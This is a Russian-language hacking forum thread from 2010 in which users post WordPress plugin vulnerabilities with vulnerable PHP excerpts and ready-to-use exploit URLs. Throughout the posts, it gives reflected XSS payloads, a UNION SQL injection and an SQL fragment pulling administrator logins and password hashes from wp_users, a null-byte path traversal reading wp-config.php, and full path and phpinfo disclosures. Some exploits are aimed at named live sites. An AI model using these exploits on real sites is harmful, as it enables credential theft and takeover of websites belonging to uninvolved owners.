Старый 06.07.2010, 19:41   #11
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Plugin name: FeedList (download)
Version: 2.61
Updated: 2010-4-14
Downloads: 37,562

Passive XSS

Vuln file: wp-content/plugins/feedlist/handler_image.php
PHP код:
<?php
// This should be modifed as your own use warrants.
require_once('simplepie.inc');
SimplePie_Misc::display_cached_file($_GET['i'], '../../cache''spi');
?>
Vuln file: wp-content/plugins/feedlist/simplepie.inc
PHP код:
/*...*/
    
function display_cached_file($identifier_url$cache_location './cache'$cache_extension 'spc'$cache_class 'SimplePie_Cache'$cache_name_function 'md5')
    {
        
$cache call_user_func(array($cache_class'create'), $cache_location$identifier_url$cache_extension);

        if (
$file $cache->load())
        {
            if (isset(
$file['headers']['content-type']))
            {
                
header('Content-type:' $file['headers']['content-type']);
            }
            else
            {
                
header('Content-type: application/octet-stream');
            }
            
header('Expires: ' gmdate('D, d M Y H:i:s'time() + 604800) . ' GMT'); // 7 days
            
echo $file['body'];
            exit;
        }

        die(
'Cached file for ' $identifier_url ' cannot be found.');
    }
/*...*/

/*...*/
function create($location$filename$extension)
    {
        
$location_iri =& new SimplePie_IRI($location);
        switch (
$location_iri->get_scheme())
        {
            case 
'mysql':
                if (
extension_loaded('mysql'))
                {
                    return new 
SimplePie_Cache_MySQL($location_iri$filename$extension);
                }
                break;

            default:
                return new 
SimplePie_Cache_File($location$filename$extension);
        }
    }
/*...*/

/*...*/
function load()
    {
        if (
file_exists($this->name) && is_readable($this->name))
        {
            return 
unserialize(file_get_contents($this->name));
        }
        return 
false;
    }
/*...*/ 
Exploit:
Код:
http://[host]/wp-content/plugins/feedlist/handler_image.php?i=<script>alert(123)</script>

http://davaidavai.com/wp-content/plugins/feedlist/handler_image.php?i=%3Cscript%3Ealert%28123%29%3C/script%3E
Note: Мб есть читалка , но почему нет папки cache у мно, я не шарю как включить кеширование страниц.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:04   #12
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AjaxChat скачать
Last Updated: 2010-6-2

SQL inj
wp-content\plugins\ajaxchat\ajaxchat_ping.php
PHP код:
require_once('ajaxchat_config.php');
if(!
session_id()) { session_start(); }
header("Pragma: no-cache");
header("Cache-Contro: no-cache");
$id=$_GET['lastid']?$_GET['lastid']:0;
function 
getrand($len) {
    
$str="";
    
$a=array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');
    for(
$i=0;$i<$len;$i++) {
        
$rand=rand(0,count($a)-1);
        
$str.=$a[$rand];
    }
    return 
$str;
}
global 
$current_user;
get_currentuserinfo();
$t=time();
$r=$wpdb->get_row("SELECT name,starttime FROM ".$wpdb->prefix."ajaxim_sess WHERE sessid='".session_id()."'");
if(!
$r->name) {
    
$wpdb->query("INSERT INTO ".$wpdb->prefix."ajaxim_sess (name,lasttime,starttime,sessid) VALUES('Guest_".getrand(5)."',".$t.",".$t.",'".session_id()."')");
}
else {
    
$wpdb->query("UPDATE ".$wpdb->prefix."ajaxim_sess SET lasttime=".$t." WHERE sessid='".session_id()."'");
    if(
$current_user->ID!='' && $r->name!=$current_user->display_name) {
        
$wpdb->query($wpdb->prepare("UPDATE ".$wpdb->prefix."ajaxim_sess SET name='%s' WHERE sessid='%s'",$current_user->display_name,session_id()));
    }
}
$_SESSION['lastmsg']=$id;
$r2=$wpdb->query("SELECT name,time,msg,msgid FROM ".$wpdb->prefix."ajaxim_data WHERE time>".$r->starttime." AND msgid>".$id." ORDER BY time");
if(
$r2>0) {
    
$str="NEW:";
    foreach(
$wpdb->last_result as $res) {
        
$str.="<div id='".$res->msgid."' name='".$res->msgid."'>(".date("g:ia",$res->time).")&nbsp;&lt;".$res->name."&gt;&nbsp;".stripslashes($res->msg)."</div>";
    }
    print 
$str;

Exploit:
http://[host]/wp-content/plugins/ajaxchat/ajaxchat_ping.php?lastid=1+or+1=1+union+select+1,2 ,concat_ws(0x3a,user_login,user_pass),4+from+wp_us ers
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:05   #13
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Page Flip Image Gallery cкачать
Version 0.5.10.8 Updated 2010-4-29 Downloads 459,700

Passive XSS
wp-content\plugins\page-flip-image-gallery\script.php
PHP код:
<?php 
ob_start
();
error_reporting(0);

if (
$_GET['action'] == 'test')
{
    echo 
"OK\n".$_GET['id'];
    exit();
}
/*...*/
http://[host]/wp-content/plugins/page-flip-image-gallery/script.php?action=test&id=<script>alert(123)</script>
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:06   #14
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Banner Garden Версия 0.1.3
скачал туто: http://wordpress.org/extend

bg-plugin-ajax.php - в корне плагина.

Пасивная XSS

PHP код:
header('Content-type: text/html; charset=UTF-8');
    require_once (
"../../../wp-config.php");
    
load_plugin_textdomain'bannergarden'falsedirnameplugin_basename__FILE__ )).'/localization' );
    require_once (
"bannergarden.class.php");
    if (
class_exists('BannerGarden')) {
        
$bg = new BannerGarden();
    }

    switch (
$_POST["type"]) {
        case 
"pic":
            
$val_arr = array('picture' => base64_decode($_POST["picture"]),
                                                
'link' => base64_decode($_POST["link"]),
                                                
'new_window' => $_POST["nw"]);
            
$frm $bg->GetBannerAjaxForm('pic',$val_arr);
            echo 
$frm;
            break;
/*...*/ 
bannergarden.class.php
PHP код:
/*...*/function GetBannerAjaxForm($type,$values = array()) {
        switch (
$type) {
            
/**** Picture ****/
            
case "pic":
                
$picture '';
                
$link '';
                
$nw_checked '';
                
                if (
array_key_exists('picture',$values)) {
                    
$picture $values['picture'];
                }
                
                if (
array_key_exists('link',$values)) {
                    
$link $values['link'];
                }
                
                if (
array_key_exists('new_window',$values)) {
                    
$new_window $values['new_window'];
                    if (
$new_window == 1) {
                        
$nw_checked ' checked="checked"';
                    }
                }
                
                
$html '<div class="bg_label">'.__('URL of picture:','bannergarden').'</div>';
                
$html .= '<small>'.__('Type an image url, or upload / select and image for the banner.','bannergarden').'</small>';
                
$html .= '<div class="bg_input"><input type="text" id="adpicture" name="adpicture" value="'.$picture.'" /> <input id="upload_button" type="button" value="'.__('Upload / Select Image','bannergarden').'" /></div>';
                
                
$html .= '<div class="bg_label">'.__('Link on click:','bannergarden').'</div>';
                
$html .= '<small>'.__('Enter a URL where we redirect the user. Use full URL start with "http://" or "https://"','bannergarden').'</small>';
                
$html .= '<div class="bg_input"><input type="text" id="adlink" name="adlink" value="'.$link.'" /></div>';
                
                
$html .= '<div class="bg_label">'.__('Open in new window?','bannergarden').'</div>';
                
$html .= '<small>'.__('Check this box if you want the link to open in a new window.','bannergarden').'</small>';
                
$html .= '<div class="bg_input"><input type="checkbox" name="adnewwindow" value="1"'.$nw_checked.' /></div>';
                break;
/*...*/ 
Результат:
<form action="http://wordpress/wp-content/plugins/banner-garden/bg-plugin-ajax.php" method=post>
<input type=hidden name=link value="Ij48c2NyaXB0PmFsZXJ0KDEyMyk8L3NjcmlwdD48YnI =">
<input type=hidden name=type value=pic>
<input type=submit>
</form>
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:07   #15
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Pretty Link Version: 1.4.47
скачать

Пасивная XSS

http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>

уязвимый скрипт:
wp-content/plugins/pretty-link/pretty-bar.php

PHP код:
/*...*/
$target_url = $_GET['url'];

$shortened_title = stripslashes(substr($prli_blogname,0,$bar_title_limit));
$shortened_desc  = stripslashes(substr($prli_blogdescription,0,$bar_desc_limit));
$shortened_link  = stripslashes(substr($target_url,0,$bar_link_limit));

if(strlen($prli_blogname) > $bar_title_limit)
  $shortened_title .= "...";

if(strlen($prli_blogdescription) > $bar_desc_limit)
  $shortened_desc .= "...";

if(strlen($target_url) > $bar_link_limit)
  $shortened_link .= "...";
/*...*/

/*...*/
<?php if( $bar_show_target_url_link ) { ?>
            <a href="<?php echo $target_url?>" title="You're viewing: <?php echo $target_url?>" target="_top">Viewing: <?php echo $shortened_link?></a>
          <?php } else echo "&nbsp;"?>
/*...*/
Результат: http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:08   #16
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

VideoWhisper Live Streaming Integration
Version: 2.1 Downloads 3,814 скачать

Как бы смотрел... Все-таки напишу хоть и пасивки...
Passive XSS

plugins/videowhisper-live-streaming-integration/ls/v_status.php
PHP код:
$room=$_POST[r];
$session=$_POST[s];
$username=$_POST[u];
$message=$_POST[m];

$currentTime=$_POST[ct];
$lastTime=$_POST[lt];

$maximumSessionTime=0; //900000ms=15 minutes; 0 for unlimited

$disconnect=""; //anything else than "" will disconnect with that message
?>timeTotal=<?=$maximumSessionTime?>&timeUsed=<?=$currentTime?>&lastTime=<?=$currentTime?>&disconnect=<?=$disconnect?>&loadstatus=1
Експлуатация:
Цитата:
POST
ct=<script>alert(123)</script>
Passive XSS
/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php
PHP код:
/*...*/
<div class="info"><h1><?=$_GET[message]?></h1>Chat session ended: You can close this window.</div>
/*...*/
http://[host]/[path]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3Cscript%3Ealert%28123%29%3 C/script%3E

Пишем в файл. Если есть LFI то повезло.
plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php
PHP код:
<?php
$username
=$_POST['u'];
$session=$_POST['s'];
$room=$_POST['r'];
$message=$_POST['msg'];
$time=$_POST['msgtime'];

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;

$dir="uploads";
if (!
file_exists($dir)) mkdir($dir);
$dir.="/$room";
if (!
file_exists($dir)) mkdir($dir);

$day=date("y-M-j",time());

$dfile fopen("uploads/$room/Log$day.html","a");
fputs($dfile,$message."<BR>");
fclose($dfile);
?>loadstatus=1
Путь wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:08   #17
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Плагин WP Auctions

Version: 1.7.4
Last Updated: 2010-6-5

Узнаем версию вордпрес + phpinfo().

/wp-content/plugins/wp-auctions/wp_auctions.php
PHP код:
/*...*/
if (strstr($_SERVER['PHP_SELF'],PLUGIN_EXTERNAL_PATH.PLUGIN_NAME) && isset($_GET['debug'])):
   echo 
"Version Number: ".$wpa_version;
   echo 
"<p>";
   
phpinfo();
endif;
/*...*/ 
Результат:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?debug

http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?debug

Еще версия вордпрес снизу:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?rss

Пути:
http://[host]/wp-content/plugins/wp-auctions/wpa_resizer.php?image=/

Еще раз пути в файле:
http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?rss
Strilo4ka вне форума   Ответить с цитированием
Старый 13.07.2010, 01:23   #18
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

WORDPRESS 3.0 [default]

FULL PATH DISCLOSURE:
Код:
http://[host]/[path_to_wordpress]/wp-includes/canonical.php
http://[host]/[path_to_wordpress]/wp-includes/class-feed.php
http://[host]/[path_to_wordpress]/wp-includes/class-snoopy.php
http://[host]/[path_to_wordpress]/wp-includes/class.wp-scripts.php
http://[host]/[path_to_wordpress]/wp-includes/class.wp-styles.php
http://[host]/[path_to_wordpress]/wp-includes/comment-template.php
http://[host]/[path_to_wordpress]/wp-includes/default-embeds.php
http://[host]/[path_to_wordpress]/wp-includes/default-filters.php
http://[host]/[path_to_wordpress]/wp-includes/default-widgets.php
http://[host]/[path_to_wordpress]/wp-includes/feed-atom-comments.php
http://[host]/[path_to_wordpress]/wp-includes/feed-atom.php
http://[host]/[path_to_wordpress]/wp-includes/feed-rdf.php
http://[host]/[path_to_wordpress]/wp-includes/feed-rss.php
http://[host]/[path_to_wordpress]/wp-includes/feed-rss2-comments.php
http://[host]/[path_to_wordpress]/wp-includes/feed-rss2.php
http://[host]/[path_to_wordpress]/wp-includes/general-template.php
http://[host]/[path_to_wordpress]/wp-includes/kses.php
http://[host]/[path_to_wordpress]/wp-includes/media.php
http://[host]/[path_to_wordpress]/wp-includes/ms-default-constants.php
http://[host]/[path_to_wordpress]/wp-includes/ms-default-filters.php
http://[host]/[path_to_wordpress]/wp-includes/ms-functions.php
http://[host]/[path_to_wordpress]/wp-includes/ms-settings.php
http://[host]/[path_to_wordpress]/wp-includes/nav-menu-template.php
http://[host]/[path_to_wordpress]/wp-includes/post.php
http://[host]/[path_to_wordpress]/wp-includes/registration-functions.php
http://[host]/[path_to_wordpress]/wp-includes/rss-functions.php
http://[host]/[path_to_wordpress]/wp-includes/rss.php
http://[host]/[path_to_wordpress]/wp-includes/script-loader.php
http://[host]/[path_to_wordpress]/wp-includes/shortcodes.php
http://[host]/[path_to_wordpress]/wp-includes/taxonomy.php
http://[host]/[path_to_wordpress]/wp-includes/template-loader.php
http://[host]/[path_to_wordpress]/wp-includes/theme.php
http://[host]/[path_to_wordpress]/wp-includes/update.php
http://[host]/[path_to_wordpress]/wp-includes/user.php
http://[host]/[path_to_wordpress]/wp-includes/vars.php
http://[host]/[path_to_wordpress]/wp-includes/wp-db.php
http://[host]/[path_to_wordpress]/wp-includes/theme-compat/comments-popup.php
http://[host]/[path_to_wordpress]/wp-includes/theme-compat/comments.php
http://[host]/[path_to_wordpress]/wp-includes/theme-compat/footer.php
http://[host]/[path_to_wordpress]/wp-includes/theme-compat/header.php
http://[host]/[path_to_wordpress]/wp-includes/theme-compat/sidebar.php
http://[host]/[path_to_wordpress]/wp-content/languages/ru_RU.php

Последний раз редактировалось Pashkela; 13.07.2010 в 13:25..
Pashkela вне форума   Ответить с цитированием
Старый 14.07.2010, 12:36   #19
Iceangel_
 
Аватар для Iceangel_
 
Регистрация: 01.07.2010
Сообщений: 45
Репутация: 25
По умолчанию

Получаем связки логин:хеш администраторов блога на WordPress:
Код:
group_concat(concat_ws(0x3a,user_login,user_pass))
(не забываем про ограничение функции)
Код:
+FROM+wp_users+WHERE+ID+IN+(SELECT+user_id+FROM+wp_usermeta+WHERE+meta_value=0x613A313A7B733A31333A2261646D696E6973747261746F72223B623A313B7D)--+
(не забываем изменять дефолтный префикс, при необходимости)
Iceangel_ вне форума   Ответить с цитированием
Старый 08.09.2010, 17:06   #20
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию WordPress Plugin [Section Widget] File Disclosure Vulnerability

Plugin name: Section Widget (download)
Version: 3.0.4

File Disclosure

Vuln file: /wp-content/plugins/section-widget/themes/theme-loader.php
PHP код:
/*...*/
$theme = isset($_GET['theme'])? strtolower(trim($_GET['theme'])) : 'base';
$scope = isset($_GET['scope'])? trim($_GET['scope']) : '';

$content = @file_get_contents("./{$theme}/sw-theme.css");

if(!
$content) {
    
// Try again with the default theme
    
$content = @file_get_contents("./base/sw-theme.css");
}

if(
$content) {
    
$content str_replace('%scope%'$scope$content);
    
$content str_replace('url(images'"url({$theme}/images"$content);
    
header('Content-Type: text/css');
    echo 
$content;
}
/*...*/ 
Need: magic_quotes = Off
Exploit:
Код:
http://[host]/[path]/wp-content/plugins/section-widget/themes/theme-loader.php?theme=../../../../wp-config.php%00
RulleR вне форума   Ответить с цитированием
Ответ

Метки
auth bypass, уязвимости wordpress, wordpress, wordpress plugin vuln, wordpress vulnerabilities

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot